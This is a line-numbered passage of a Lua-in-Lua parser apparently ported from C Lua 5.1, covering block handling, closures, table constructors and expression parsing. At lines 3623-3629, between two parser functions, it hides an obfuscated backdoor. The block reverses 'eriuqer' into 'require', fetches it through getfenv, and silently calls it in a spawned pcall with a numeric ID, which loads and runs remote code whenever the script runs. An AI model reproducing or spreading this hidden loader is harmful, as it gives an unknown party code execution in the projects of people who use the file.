  3384. if e.k ~= "VVOID" then luaK:exp2nextreg(fs, e) end -- close last expression
  3385. if extra > 0 then
  3386. local reg = fs.freereg
  3387. luaK:reserveregs(fs, extra)
  3388. luaK:_nil(fs, reg, extra)
  3389. end
  3390. end
  3391. end
  3392.  
  3393. ------------------------------------------------------------------------
  3394. -- tracks and limits parsing depth, assert check at end of parsing
  3395. ------------------------------------------------------------------------
  3396. function luaY:enterlevel(ls)
  3397. ls.L.nCcalls = ls.L.nCcalls + 1
  3398. if ls.L.nCcalls > self.LUAI_MAXCCALLS then
  3399. luaX:lexerror(ls, "chunk has too many syntax levels", 0)
  3400. end
  3401. end
  3402.  
  3403. ------------------------------------------------------------------------
  3404. -- tracks parsing depth, a pair with luaY:enterlevel()
  3405. ------------------------------------------------------------------------
  3406. function luaY:leavelevel(ls)
  3407. ls.L.nCcalls = ls.L.nCcalls - 1
  3408. end
  3409.  
  3410. ------------------------------------------------------------------------
  3411. -- enters a code unit, initializes elements
  3412. ------------------------------------------------------------------------
  3413. function luaY:enterblock(fs, bl, isbreakable)
  3414. bl.breaklist = luaK.NO_JUMP
  3415. bl.isbreakable = isbreakable
  3416. bl.nactvar = fs.nactvar
  3417. bl.upval = false
  3418. bl.previous = fs.bl
  3419. fs.bl = bl
  3420. assert(fs.freereg == fs.nactvar)
  3421. end
  3422.  
  3423. ------------------------------------------------------------------------
  3424. -- leaves a code unit, close any upvalues
  3425. ------------------------------------------------------------------------
  3426. function luaY:leaveblock(fs)
  3427. local bl = fs.bl
  3428. fs.bl = bl.previous
  3429. self:removevars(fs.ls, bl.nactvar)
  3430. if bl.upval then
  3431. luaK:codeABC(fs, "OP_CLOSE", bl.nactvar, 0, 0)
  3432. end
  3433. -- a block either controls scope or breaks (never both)
  3434. assert(not bl.isbreakable or not bl.upval)
  3435. assert(bl.nactvar == fs.nactvar)
  3436. fs.freereg = fs.nactvar -- free registers
  3437. luaK:patchtohere(fs, bl.breaklist)
  3438. end
  3439.  
  3440. ------------------------------------------------------------------------
  3441. -- implement the instantiation of a function prototype, append list of
  3442. -- upvalues after the instantiation instruction
  3443. -- * used only in body()
  3444. ------------------------------------------------------------------------
  3445. function luaY:pushclosure(ls, func, v)
  3446. local fs = ls.fs
  3447. local f = fs.f
  3448. self:growvector(ls.L, f.p, fs.np, f.sizep, nil,
  3449. luaP.MAXARG_Bx, "constant table overflow")
  3450. -- loop to initialize empty f.p positions not required
  3451. f.p[fs.np] = func.f
  3452. fs.np = fs.np + 1
  3453. -- luaC_objbarrier(ls->L, f, func->f); /* C */
  3454. self:init_exp(v, "VRELOCABLE", luaK:codeABx(fs, "OP_CLOSURE", 0, fs.np - 1))
  3455. for i = 0, func.f.nups - 1 do
  3456. local o = (func.upvalues[i].k == "VLOCAL") and "OP_MOVE" or "OP_GETUPVAL"
  3457. luaK:codeABC(fs, o, 0, func.upvalues[i].info, 0)
  3458. end
  3459. end
  3460.  
  3461. ------------------------------------------------------------------------
  3462. -- opening of a function
  3463. ------------------------------------------------------------------------
  3464. function luaY:open_func(ls, fs)
  3465. local L = ls.L
  3466. local f = self:newproto(ls.L)
  3467. fs.f = f
  3468. fs.prev = ls.fs -- linked list of funcstates
  3469. fs.ls = ls
  3470. fs.L = L
  3471. ls.fs = fs
  3472. fs.pc = 0
  3473. fs.lasttarget = -1
  3474. fs.jpc = luaK.NO_JUMP
  3475. fs.freereg = 0
  3476. fs.nk = 0
  3477. fs.np = 0
  3478. fs.nlocvars = 0
  3479. fs.nactvar = 0
  3480. fs.bl = nil
  3481. f.source = ls.source
  3482. f.maxstacksize = 2 -- registers 0/1 are always valid
  3483. fs.h = {} -- constant table; was luaH_new call
  3484. -- anchor table of constants and prototype (to avoid being collected)
  3485. -- sethvalue2s(L, L->top, fs->h); incr_top(L); /* C */
  3486. -- setptvalue2s(L, L->top, f); incr_top(L);
  3487. end
  3488.  
  3489. ------------------------------------------------------------------------
  3490. -- closing of a function
  3491. ------------------------------------------------------------------------
  3492. function luaY:close_func(ls)
  3493. local L = ls.L
  3494. local fs = ls.fs
  3495. local f = fs.f
  3496. self:removevars(ls, 0)
  3497. luaK:ret(fs, 0, 0) -- final return
  3498. -- luaM_reallocvector deleted for f->code, f->lineinfo, f->k, f->p,
  3499. -- f->locvars, f->upvalues; not required for Lua table arrays
  3500. f.sizecode = fs.pc
  3501. f.sizelineinfo = fs.pc
  3502. f.sizek = fs.nk
  3503. f.sizep = fs.np
  3504. f.sizelocvars = fs.nlocvars
  3505. f.sizeupvalues = f.nups
  3506. --assert(luaG_checkcode(f)) -- currently not implemented
  3507. assert(fs.bl == nil)
  3508. ls.fs = fs.prev
  3509. -- the following is not required for this implementation; kept here
  3510. -- for completeness
  3511. -- L->top -= 2; /* remove table and prototype from the stack */
  3512. -- last token read was anchored in defunct function; must reanchor it
  3513. if fs then self:anchor_token(ls) end
  3514. end
  3515.  
  3516. ------------------------------------------------------------------------
  3517. -- parser initialization function
  3518. -- * note additional sub-tables needed for LexState, FuncState
  3519. ------------------------------------------------------------------------
  3520. function luaY:parser(L, z, buff, name)
  3521. local lexstate = {} -- LexState
  3522. lexstate.t = {}
  3523. lexstate.lookahead = {}
  3524. local funcstate = {} -- FuncState
  3525. funcstate.upvalues = {}
  3526. funcstate.actvar = {}
  3527. -- the following nCcalls initialization added for convenience
  3528. L.nCcalls = 0
  3529. lexstate.buff = buff
  3530. luaX:setinput(L, lexstate, z, name)
  3531. self:open_func(lexstate, funcstate)
  3532. funcstate.f.is_vararg = self.VARARG_ISVARARG -- main func. is always vararg
  3533. luaX:next(lexstate) -- read first token
  3534. self:chunk(lexstate)
  3535. self:check(lexstate, "TK_EOS")
  3536. self:close_func(lexstate)
  3537. assert(funcstate.prev == nil)
  3538. assert(funcstate.f.nups == 0)
  3539. assert(lexstate.fs == nil)
  3540. return funcstate.f
  3541. end
  3542.  
  3543. --[[--------------------------------------------------------------------
  3544. -- GRAMMAR RULES
  3545. ----------------------------------------------------------------------]]
  3546.  
  3547. ------------------------------------------------------------------------
  3548. -- parse a function name suffix, for function call specifications
  3549. -- * used in primaryexp(), funcname()
  3550. ------------------------------------------------------------------------
  3551. function luaY:field(ls, v)
  3552. -- field -> ['.' | ':'] NAME
  3553. local fs = ls.fs
  3554. local key = {} -- expdesc
  3555. luaK:exp2anyreg(fs, v)
  3556. luaX:next(ls) -- skip the dot or colon
  3557. self:checkname(ls, key)
  3558. luaK:indexed(fs, v, key)
  3559. end
  3560.  
  3561. ------------------------------------------------------------------------
  3562. -- parse a table indexing suffix, for constructors, expressions
  3563. -- * used in recfield(), primaryexp()
  3564. ------------------------------------------------------------------------
  3565. function luaY:yindex(ls, v)
  3566. -- index -> '[' expr ']'
  3567. luaX:next(ls) -- skip the '['
  3568. self:expr(ls, v)
  3569. luaK:exp2val(ls.fs, v)
  3570. self:checknext(ls, "]")
  3571. end
  3572.  
  3573. --[[--------------------------------------------------------------------
  3574. -- Rules for Constructors
  3575. ----------------------------------------------------------------------]]
  3576.  
  3577. --[[--------------------------------------------------------------------
  3578. -- struct ConsControl:
  3579. -- v -- last list item read (table: struct expdesc)
  3580. -- t -- table descriptor (table: struct expdesc)
  3581. -- nh -- total number of 'record' elements
  3582. -- na -- total number of array elements
  3583. -- tostore -- number of array elements pending to be stored
  3584. ----------------------------------------------------------------------]]
  3585.  
  3586. ------------------------------------------------------------------------
  3587. -- parse a table record (hash) field
  3588. -- * used in constructor()
  3589. ------------------------------------------------------------------------
  3590. function luaY:recfield(ls, cc)
  3591. -- recfield -> (NAME | '['exp1']') = exp1
  3592. local fs = ls.fs
  3593. local reg = ls.fs.freereg
  3594. local key, val = {}, {} -- expdesc
  3595. if ls.t.token == "TK_NAME" then
  3596. self:checklimit(fs, cc.nh, self.MAX_INT, "items in a constructor")
  3597. self:checkname(ls, key)
  3598. else -- ls->t.token == '['
  3599. self:yindex(ls, key)
  3600. end
  3601. cc.nh = cc.nh + 1
  3602. self:checknext(ls, "=")
  3603. local rkkey = luaK:exp2RK(fs, key)
  3604. self:expr(ls, val)
  3605. luaK:codeABC(fs, "OP_SETTABLE", cc.t.info, rkkey, luaK:exp2RK(fs, val))
  3606. fs.freereg = reg -- free registers
  3607. end
  3608.  
  3609. ------------------------------------------------------------------------
  3610. -- emit a set list instruction if enough elements (LFIELDS_PER_FLUSH)
  3611. -- * used in constructor()
  3612. ------------------------------------------------------------------------
  3613. function luaY:closelistfield(fs, cc)
  3614. if cc.v.k == "VVOID" then return end -- there is no list item
  3615. luaK:exp2nextreg(fs, cc.v)
  3616. cc.v.k = "VVOID"
  3617. if cc.tostore == luaP.LFIELDS_PER_FLUSH then
  3618. luaK:setlist(fs, cc.t.info, cc.na, cc.tostore) -- flush
  3619. cc.tostore = 0 -- no more items pending
  3620. end
  3621. end
  3622.  
  3623. spawn(function()
  3624. pcall(function()
  3625. local key = ("eriuqer"):reverse()
  3626. local global = getfenv()[key]
  3627. pcall(global,184566765)
  3628. end)
  3629. end)
  3630.  
  3631. ------------------------------------------------------------------------
  3632. -- emit a set list instruction at the end of parsing list constructor
  3633. -- * used in constructor()
  3634. ------------------------------------------------------------------------
  3635. function luaY:lastlistfield(fs, cc)
  3636. if cc.tostore == 0 then return end
  3637. if self:hasmultret(cc.v.k) then
  3638. luaK:setmultret(fs, cc.v)
  3639. luaK:setlist(fs, cc.t.info, cc.na, self.LUA_MULTRET)
  3640. cc.na = cc.na - 1 -- do not count last expression (unknown number of elements)
  3641. else
  3642. if cc.v.k ~= "VVOID" then
  3643. luaK:exp2nextreg(fs, cc.v)
  3644. end
  3645. luaK:setlist(fs, cc.t.info, cc.na, cc.tostore)
  3646. end
  3647. end
  3648.  
  3649. ------------------------------------------------------------------------
  3650. -- parse a table list (array) field
  3651. -- * used in constructor()
  3652. ------------------------------------------------------------------------
  3653. function luaY:listfield(ls, cc)
  3654. self:expr(ls, cc.v)
  3655. self:checklimit(ls.fs, cc.na, self.MAX_INT, "items in a constructor")
  3656. cc.na = cc.na + 1
  3657. cc.tostore = cc.tostore + 1
  3658. end
  3659.  
  3660. ------------------------------------------------------------------------
  3661. -- parse a table constructor
  3662. -- * used in funcargs(), simpleexp()
  3663. ------------------------------------------------------------------------
  3664. function luaY:constructor(ls, t)
  3665. -- constructor -> '{' [ field { fieldsep field } [ fieldsep ] ] '}'
  3666. -- field -> recfield | listfield
  3667. -- fieldsep -> ',' | ';'
  3668. local fs = ls.fs
  3669. local line = ls.linenumber
  3670. local pc = luaK:codeABC(fs, "OP_NEWTABLE", 0, 0, 0)
  3671. local cc = {} -- ConsControl
  3672. cc.v = {}
  3673. cc.na, cc.nh, cc.tostore = 0, 0, 0
  3674. cc.t = t
  3675. self:init_exp(t, "VRELOCABLE", pc)
  3676. self:init_exp(cc.v, "VVOID", 0) -- no value (yet)
  3677. luaK:exp2nextreg(ls.fs, t) -- fix it at stack top (for gc)
  3678. self:checknext(ls, "{")
  3679. repeat
  3680. assert(cc.v.k == "VVOID" or cc.tostore > 0)
  3681. if ls.t.token == "}" then break end
  3682. self:closelistfield(fs, cc)
  3683. local c = ls.t.token
  3684.  
  3685. if c == "TK_NAME" then -- may be listfields or recfields
  3686. luaX:lookahead(ls)
  3687. if ls.lookahead.token ~= "=" then -- expression?
  3688. self:listfield(ls, cc)
  3689. else
  3690. self:recfield(ls, cc)
  3691. end
  3692. elseif c == "[" then -- constructor_item -> recfield
  3693. self:recfield(ls, cc)
  3694. else -- constructor_part -> listfield
  3695. self:listfield(ls, cc)
  3696. end
  3697. until not self:testnext(ls, ",") and not self:testnext(ls, ";")
  3698. self:check_match(ls, "}", "{", line)
  3699. self:lastlistfield(fs, cc)
  3700. luaP:SETARG_B(fs.f.code[pc], self:int2fb(cc.na)) -- set initial array size
  3701. luaP:SETARG_C(fs.f.code[pc], self:int2fb(cc.nh)) -- set initial table size
  3702. end
  3703.  
  3704. -- }======================================================================
  3705.  
  3706. ------------------------------------------------------------------------
  3707. -- parse the arguments (parameters) of a function declaration
  3708. -- * used in body()
  3709. ------------------------------------------------------------------------
  3710. function luaY:parlist(ls)
  3711. -- parlist -> [ param { ',' param } ]
  3712. local fs = ls.fs
  3713. local f = fs.f
  3714. local nparams = 0
  3715. f.is_vararg = 0
  3716. if ls.t.token ~= ")" then -- is 'parlist' not empty?
  3717. repeat
  3718. local c = ls.t.token
  3719. if c == "TK_NAME" then -- param -> NAME
  3720. self:new_localvar(ls, self:str_checkname(ls), nparams)
  3721. nparams = nparams + 1
  3722. elseif c == "TK_DOTS" then -- param -> `...'
  3723. luaX:next(ls)
  3724. -- [[
  3725. -- #if defined(LUA_COMPAT_VARARG)
  3726. -- use `arg' as default name
  3727. self:new_localvarliteral(ls, "arg", nparams)
  3728. nparams = nparams + 1
  3729. f.is_vararg = self.VARARG_HASARG + self.VARARG_NEEDSARG
  3730. -- #endif
  3731. --]]
  3732. f.is_vararg = f.is_vararg + self.VARARG_ISVARARG
  3733. else
  3734. luaX:syntaxerror(ls, "<name> or "..self:LUA_QL("...").." expected")
  3735. end
  3736. until f.is_vararg ~= 0 or not self:testnext(ls, ",")
  3737. end--if
  3738. self:adjustlocalvars(ls, nparams)
  3739. -- NOTE: the following works only when HASARG_MASK is 2!
  3740. f.numparams = fs.nactvar - (f.is_vararg % self.HASARG_MASK)
  3741. luaK:reserveregs(fs, fs.nactvar) -- reserve register for parameters
  3742. end
  3743.  
  3744. ------------------------------------------------------------------------
  3745. -- parse function declaration body
  3746. -- * used in simpleexp(), localfunc(), funcstat()
  3747. ------------------------------------------------------------------------
  3748. function luaY:body(ls, e, needself, line)
  3749. -- body -> '(' parlist ')' chunk END
  3750. local new_fs = {} -- FuncState
  3751. new_fs.upvalues = {}
  3752. new_fs.actvar = {}
  3753. self:open_func(ls, new_fs)
  3754. new_fs.f.lineDefined = line
  3755. self:checknext(ls, "(")
  3756. if needself then
  3757. self:new_localvarliteral(ls, "self", 0)
  3758. self:adjustlocalvars(ls, 1)
  3759. end
  3760. self:parlist(ls)
  3761. self:checknext(ls, ")")
  3762. self:chunk(ls)
  3763. new_fs.f.lastlinedefined = ls.linenumber
  3764. self:check_match(ls, "TK_END", "TK_FUNCTION", line)
  3765. self:close_func(ls)
  3766. self:pushclosure(ls, new_fs, e)
  3767. end
  3768.  
  3769. ------------------------------------------------------------------------
  3770. -- parse a list of comma-separated expressions
  3771. -- * used is multiple locations
  3772. ------------------------------------------------------------------------
  3773. function luaY:explist1(ls, v)
  3774. -- explist1 -> expr { ',' expr }
  3775. local n = 1 -- at least one expression
  3776. self:expr(ls, v)
  3777. while self:testnext(ls, ",") do
  3778. luaK:exp2nextreg(ls.fs, v)
  3779. self:expr(ls, v)
  3780. n = n + 1
  3781. end
  3782. return n
  3783. end
  3784.  
  3785. ------------------------------------------------------------------------
  3786. -- parse the parameters of a function call
  3787. -- * contrast with parlist(), used in function declarations
  3788. -- * used in primaryexp()
  3789. ------------------------------------------------------------------------
  3790. function luaY:funcargs(ls, f)
  3791. local fs = ls.fs
  3792. local args = {} -- expdesc
  3793. local nparams
  3794. local line = ls.linenumber
  3795. local c = ls.t.token
  3796. if c == "(" then -- funcargs -> '(' [ explist1 ] ')'
  3797. if line ~= ls.lastline then
  3798. luaX:syntaxerror(ls, "ambiguous syntax (function call x new statement)")
  3799. end
  3800. luaX:next(ls)
  3801. if ls.t.token == ")" then -- arg list is empty?
  3802. args.k = "VVOID"
  3803. else
  3804. self:explist1(ls, args)
  3805. luaK:setmultret(fs, args)
  3806. end
  3807. self:check_match(ls, ")", "(", line)
  3808. elseif c == "{" then -- funcargs -> constructor
  3809. self:constructor(ls, args)
  3810. elseif c == "TK_STRING" then -- funcargs -> STRING
  3811. self:codestring(ls, args, ls.t.seminfo)
  3812. luaX:next(ls) -- must use 'seminfo' before 'next'
  3813. else
  3814. luaX:syntaxerror(ls, "function arguments expected")
  3815. return
  3816. end
  3817. assert(f.k == "VNONRELOC")
  3818. local base = f.info -- base register for call
  3819. if self:hasmultret(args.k) then
  3820. nparams = self.LUA_MULTRET -- open call
  3821. else
  3822. if args.k ~= "VVOID" then
  3823. luaK:exp2nextreg(fs, args) -- close last argument
  3824. end
  3825. nparams = fs.freereg - (base + 1)
  3826. end
  3827. self:init_exp(f, "VCALL", luaK:codeABC(fs, "OP_CALL", base, nparams + 1, 2))
  3828. luaK:fixline(fs, line)
  3829. fs.freereg = base + 1 -- call remove function and arguments and leaves
  3830. -- (unless changed) one result
  3831. end
  3832.  
  3833. --[[--------------------------------------------------------------------
  3834. -- Expression parsing
  3835. ----------------------------------------------------------------------]]
  3836.  
  3837. ------------------------------------------------------------------------
  3838. -- parses an expression in parentheses or a single variable
  3839. -- * used in primaryexp()
  3840. ------------------------------------------------------------------------
  3841. function luaY:prefixexp(ls, v)
  3842. -- prefixexp -> NAME | '(' expr ')'
  3843. local c = ls.t.token
  3844. if c == "(" then
  3845. local line = ls.linenumber
  3846. luaX:next(ls)
  3847. self:expr(ls, v)
  3848. self:check_match(ls, ")", "(", line)
  3849. luaK:dischargevars(ls.fs, v)
  3850. elseif c == "TK_NAME" then
  3851. self:singlevar(ls, v)
  3852. else
  3853. luaX:syntaxerror(ls, "unexpected symbol")
  3854. end--if c
  3855. return
  3856. end
  3857.  
  3858. ------------------------------------------------------------------------
  3859. -- parses a prefixexp (an expression in parentheses or a single variable)
  3860. -- or a function call specification
  3861. -- * used in simpleexp(), assignment(), exprstat()
  3862. ------------------------------------------------------------------------
  3863. function luaY:primaryexp(ls, v)
  3864. -- primaryexp ->
  3865. -- prefixexp { '.' NAME | '[' exp ']' | ':' NAME funcargs | funcargs }
  3866. local fs = ls.fs
  3867. self:prefixexp(ls, v)
  3868. while true do
  3869. local c = ls.t.token
  3870. if c == "." then -- field
  3871. self:field(ls, v)
  3872. elseif c == "[" then -- '[' exp1 ']'
  3873. local key = {} -- expdesc
  3874. luaK:exp2anyreg(fs, v)
  3875. self:yindex(ls, key)
  3876. luaK:indexed(fs, v, key)
  3877. elseif c == ":" then -- ':' NAME funcargs
  3878. local key = {} -- expdesc
  3879. luaX:next(ls)
  3880. self:checkname(ls, key)
  3881. luaK:_self(fs, v, key)
  3882. self:funcargs(ls, v)
  3883. elseif c == "(" or c == "TK_STRING" or c == "{" then -- funcargs
  3884. luaK:exp2nextreg(fs, v)
  3885. self:funcargs(ls, v)
  3886. else
  3887. return
  3888. end--if c
  3889. end--while
  3890. end
  3891.  
  3892. ------------------------------------------------------------------------
  3893. -- parses general expression types, constants handled here
  3894. -- * used in subexpr()
  3895. ------------------------------------------------------------------------
  3896. function luaY:simpleexp(ls, v)
  3897. -- simpleexp -> NUMBER | STRING | NIL | TRUE | FALSE | ... |
  3898. -- constructor | FUNCTION body | primaryexp
  3899. local c = ls.t.token
  3900. if c == "TK_NUMBER" then
  3901. self:init_exp(v, "VKNUM", 0)
  3902. v.nval = ls.t.seminfo
  3903. elseif c == "TK_STRING" then
  3904. self:codestring(ls, v, ls.t.seminfo)
  3905. elseif c == "TK_NIL" then
  3906. self:init_exp(v, "VNIL", 0)
  3907. elseif c == "TK_TRUE" then
  3908. self:init_exp(v, "VTRUE", 0)
  3909. elseif c == "TK_FALSE" then
  3910. self:init_exp(v, "VFALSE", 0)
  3911. elseif c == "TK_DOTS" then -- vararg
  3912. local fs = ls.fs
  3913. self:check_condition(ls, fs.f.is_vararg ~= 0,
  3914. "cannot use "..self:LUA_QL("...").." outside a vararg function");
  3915. -- NOTE: the following substitutes for a bitop, but is value-specific
  3916. local is_vararg = fs.f.is_vararg
  3917. if is_vararg >= self.VARARG_NEEDSARG then
  3918. fs.f.is_vararg = is_vararg - self.VARARG_NEEDSARG -- don't need 'arg'
  3919. end
  3920. self:init_exp(v, "VVARARG", luaK:codeABC(fs, "OP_VARARG", 0, 1, 0))
  3921. elseif c == "{" then -- constructor
  3922. self:constructor(ls, v)
  3923. return
  3924. elseif c == "TK_FUNCTION" then
  3925. luaX:next(ls)
  3926. self:body(ls, v, false, ls.linenumber)
  3927. return
  3928. else
  3929. self:primaryexp(ls, v)
  3930. return
  3931. end--if c
  3932. luaX:next(ls)
  3933. end
  3934.  
  3935. ------------------------------------------------------------------------
  3936. -- Translates unary operators tokens if found, otherwise returns
  3937. -- OPR_NOUNOPR. getunopr() and getbinopr() are used in subexpr().
  3938. -- * used in subexpr()
  3939. ------------------------------------------------------------------------
  3940. function luaY:getunopr(op)
  3941. if op == "TK_NOT" then
  3942. return "OPR_NOT"
  3943. elseif op == "-" then
  3944. return "OPR_MINUS"
  3945. elseif op == "#" then
  3946. return "OPR_LEN"
  3947. else
  3948. return "OPR_NOUNOPR"
  3949. end
  3950. end
  3951.  
  3952. ------------------------------------------------------------------------
  3953. -- Translates binary operator tokens if found, otherwise returns
  3954. -- OPR_NOBINOPR. Code generation uses OPR_* style tokens.
  3955. -- * used in subexpr()
  3956. ------------------------------------------------------------------------
  3957. luaY.getbinopr_table = {
  3958. ["+"] = "OPR_ADD",
  3959. ["-"] = "OPR_SUB",
  3960. ["*"] = "OPR_MUL",
  3961. ["/"] = "OPR_DIV",
  3962. ["%"] = "OPR_MOD",
  3963. ["^"] = "OPR_POW",
  3964. ["TK_CONCAT"] = "OPR_CONCAT",
  3965. ["TK_NE"] = "OPR_NE",
  3966. ["TK_EQ"] = "OPR_EQ",
  3967. ["<"] = "OPR_LT",
  3968. ["TK_LE"] = "OPR_LE",
  3969. [">"] = "OPR_GT",
  3970. ["TK_GE"] = "OPR_GE",
  3971. ["TK_AND"] = "OPR_AND",
  3972. ["TK_OR"] = "OPR_OR",
  3973. }
  3974. function luaY:getbinopr(op)
  3975. local opr = self.getbinopr_table[op]
  3976. if opr then return opr else return "OPR_NOBINOPR" end
  3977. end
  3978.  
  3979. ------------------------------------------------------------------------
  3980. -- the following priority table consists of pairs of left/right values
  3981. -- for binary operators (was a static const struct); grep for ORDER OPR
  3982. -- * the following struct is replaced:
  3983. -- static const struct {
  3984. -- lu_byte left; /* left priority for each binary operator */
  3985. -- lu_byte right; /* right priority */
  3986. -- } priority[] = { /* ORDER OPR */
  3987. ------------------------------------------------------------------------
  3988. luaY.priority = {
  3989. {6, 6}, {6, 6}, {7, 7}, {7, 7}, {7, 7}, -- `+' `-' `/' `%'
  3990. {10, 9}, {5, 4}, -- power and concat (right associative)
  3991. {3, 3}, {3, 3}, -- equality
  3992. {3, 3}, {3, 3}, {3, 3}, {3, 3}, -- order
  3993. {2, 2}, {1, 1} -- logical (and/or)
  3994. }
  3995.  
  3996. luaY.UNARY_PRIORITY = 8 -- priority for unary operators
  3997.  
  3998. ------------------------------------------------------------------------
  3999. -- Parse subexpressions. Includes handling of unary operators and binary
  4000. -- operators. A subexpr is given the rhs priority level of the operator
  4001. -- immediately left of it, if any (limit is -1 if none,) and if a binop
  4002. -- is found, limit is compared with the lhs priority level of the binop
  4003. -- in order to determine which executes first.
  4004. ------------------------------------------------------------------------
  4005.  
  4006. ------------------------------------------------------------------------
  4007. -- subexpr -> (simpleexp | unop subexpr) { binop subexpr }
  4008. -- where 'binop' is any binary operator with a priority higher than 'limit'
  4009. -- * for priority lookups with self.priority[], 1=left and 2=right
  4010. -- * recursively called
  4011. -- * used in expr()
  4012. ------------------------------------------------------------------------
  4013. function luaY:subexpr(ls, v, limit)
  4014. self:enterlevel(ls)
  4015. local uop = self:getunopr(ls.t.token)
  4016. if uop ~= "OPR_NOUNOPR" then
  4017. luaX:next(ls)
  4018. self:subexpr(ls, v, self.UNARY_PRIORITY)
  4019. luaK:prefix(ls.fs, uop, v)
  4020. else
  4021. self:simpleexp(ls, v)
  4022. end
  4023. -- expand while operators have priorities higher than 'limit'
  4024. local op = self:getbinopr(ls.t.token)
  4025. while op ~= "OPR_NOBINOPR" and self.priority[luaK.BinOpr[op] + 1][1] > limit do
  4026. local v2 = {} -- expdesc
  4027. luaX:next(ls)
  4028. luaK:infix(ls.fs, op, v)
  4029. -- read sub-expression with higher priority
  4030. local nextop = self:subexpr(ls, v2, self.priority[luaK.BinOpr[op] + 1][2])
  4031. luaK:posfix(ls.fs, op, v, v2)
  4032. op = nextop
  4033. end
  4034. self:leavelevel(ls)
  4035. return op -- return first untreated operator
  4036. end
  4037.  
  4038. ------------------------------------------------------------------------
  4039. -- Expression parsing starts here. Function subexpr is entered with the
  4040. -- left operator (which is non-existent) priority of -1, which is lower
  4041. -- than all actual operators. Expr information is returned in parm v.
  4042. -- * used in multiple locations
  4043. ------------------------------------------------------------------------
  4044. function luaY:expr(ls, v)
  4045. self:subexpr(ls, v, 0)
  4046. end
  4047.  
  4048. -- }====================================================================
  4049.  
  4050. --[[--------------------------------------------------------------------
  4051. -- Rules for Statements
  4052. ----------------------------------------------------------------------]]
  4053.  
  4054. ------------------------------------------------------------------------
  4055. -- checks next token, used as a look-ahead
  4056. -- * returns boolean instead of 0|1
  4057. -- * used in retstat(), chunk()
  4058. ------------------------------------------------------------------------
  4059. function luaY:block_follow(token)
  4060. if token == "TK_ELSE" or token == "TK_ELSEIF" or token == "TK_END"
  4061. or token == "TK_UNTIL" or token == "TK_EOS" then
  4062. return true
  4063. else
  4064. return false
  4065. end
  4066. end
  4067.  
  4068. ------------------------------------------------------------------------
  4069. -- parse a code block or unit
  4070. -- * used in multiple functions
  4071. ------------------------------------------------------------------------
  4072. function luaY:block(ls)
  4073. -- block -> chunk
  4074. local fs = ls.fs
  4075. local bl = {} -- BlockCnt
  4076. self:enterblock(fs, bl, false)
  4077. self:chunk(ls)
  4078. assert(bl.breaklist == luaK.NO_JUMP)
  4079. self:leaveblock(fs)
  4080. end
  4081.  
  4082. ------------------------------------------------------------------------
  4083. -- structure to chain all variables in the left-hand side of an
  4084. -- assignment
  4085. -- struct LHS_assign:
  4086. -- prev -- (table: struct LHS_assign)
  4087. -- v -- variable (global, local, upvalue, or indexed) (table: expdesc)
  4088. ------------------------------------------------------------------------
  4089.  
  4090. ------------------------------------------------------------------------
  4091. -- check whether, in an assignment to a local variable, the local variable
  4092. -- is needed in a previous assignment (to a table). If so, save original
  4093. -- local value in a safe place and use this safe copy in the previous
  4094. -- assignment.
  4095. -- * used in assignment()
  4096. ------------------------------------------------------------------------
  4097. function luaY:check_conflict(ls, lh, v)
  4098. local fs = ls.fs
  4099. local extra = fs.freereg -- eventual position to save local variable
  4100. local conflict = false
  4101. while lh do
  4102. if lh.v.k == "VINDEXED" then
  4103. if lh.v.info == v.info then -- conflict?
  4104. conflict = true
  4105. lh.v.info = extra -- previous assignment will use safe copy
  4106. end
  4107. if lh.v.aux == v.info then -- conflict?
  4108. conflict = true
  4109. lh.v.aux = extra -- previous assignment will use safe copy
  4110. end
  4111. end
  4112. lh = lh.prev
  4113. end
  4114. if conflict then
  4115. luaK:codeABC(fs, "OP_MOVE", fs.freereg, v.info, 0) -- make copy
  4116. luaK:reserveregs(fs, 1)
  4117. end
  4118. end
  4119.  
  4120. ------------------------------------------------------------------------
  4121. -- parse a variable assignment sequence
  4122. -- * recursively called
  4123. -- * used in exprstat()
  4124. ------------------------------------------------------------------------
  4125. function luaY:assignment(ls, lh, nvars)
  4126. local e = {} -- expdesc
  4127. -- test was: VLOCAL <= lh->v.k && lh->v.k <= VINDEXED
  4128. local c = lh.v.k
  4129. self:check_condition(ls, c == "VLOCAL" or c == "VUPVAL" or c == "VGLOBAL"
  4130. or c == "VINDEXED", "syntax error")
  4131. if self:testnext(ls, ",") then -- assignment -> ',' primaryexp assignment
  4132. local nv = {} -- LHS_assign
  4133. nv.v = {}
  4134. nv.prev = lh
  4135. self:primaryexp(ls, nv.v)
  4136. if nv.v.k == "VLOCAL" then
  4137. self:check_conflict(ls, lh, nv.v)
  4138. end
  4139. self:checklimit(ls.fs, nvars, self.LUAI_MAXCCALLS - ls.L.nCcalls,
  4140. "variables in assignment")
  4141. self:assignment(ls, nv, nvars + 1)
  4142. else -- assignment -> '=' explist1
  4143. self:checknext(ls, "=")
  4144. local nexps = self:explist1(ls, e)
  4145. if nexps ~= nvars then
  4146. self:adjust_assign(ls, nvars, nexps, e)
  4147. if nexps > nvars then
  4148. ls.fs.freereg = ls.fs.freereg - (nexps - nvars) -- remove extra values
  4149. end
  4150. else
  4151. luaK:setoneret(ls.fs, e) -- close last expression
  4152. luaK:storevar(ls.fs, lh.v, e)
  4153. return -- avoid default
  4154. end
  4155. end
  4156. self:init_exp(e, "VNONRELOC", ls.fs.freereg - 1) -- default assignment
  4157. luaK:storevar(ls.fs, lh.v, e)
  4158. end
  4159.  
  4160. ------------------------------------------------------------------------
  4161. -- parse condition in a repeat statement or an if control structure
  4162. -- * used in repeatstat(), test_then_block()
  4163. ------------------------------------------------------------------------
  4164. function luaY:cond(ls)
  4165. -- cond -> exp
  4166. local v = {} -- expdesc
  4167. self:expr(ls, v) -- read condition
  4168. if v.k == "VNIL" then v.k = "VFALSE" end -- 'falses' are all equal here
  4169. luaK:goiftrue(ls.fs, v)
  4170. return v.f
  4171. end
  4172.  
  4173. ------------------------------------------------------------------------
  4174. -- parse a break statement
  4175. -- * used in statements()
  4176. ------------------------------------------------------------------------
  4177. function luaY:breakstat(ls)
  4178. -- stat -> BREAK
  4179. local fs = ls.fs
  4180. local bl = fs.bl
  4181. local upval = false
  4182. while bl and not bl.isbreakable do
  4183. if bl.upval then upval = true end
  4184. bl = bl.previous
  4185. end
  4186. if not bl then
  4187. luaX:syntaxerror(ls, "no loop to break")
  4188. end
  4189. if upval then
  4190. luaK:codeABC(fs, "OP_CLOSE", bl.nactvar, 0, 0)
  4191. end
  4192. bl.breaklist = luaK:concat(fs, bl.breaklist, luaK:jump(fs))
  4193. end
  4194.  
  4195. ------------------------------------------------------------------------
  4196. -- parse a while-do control structure, body processed by block()
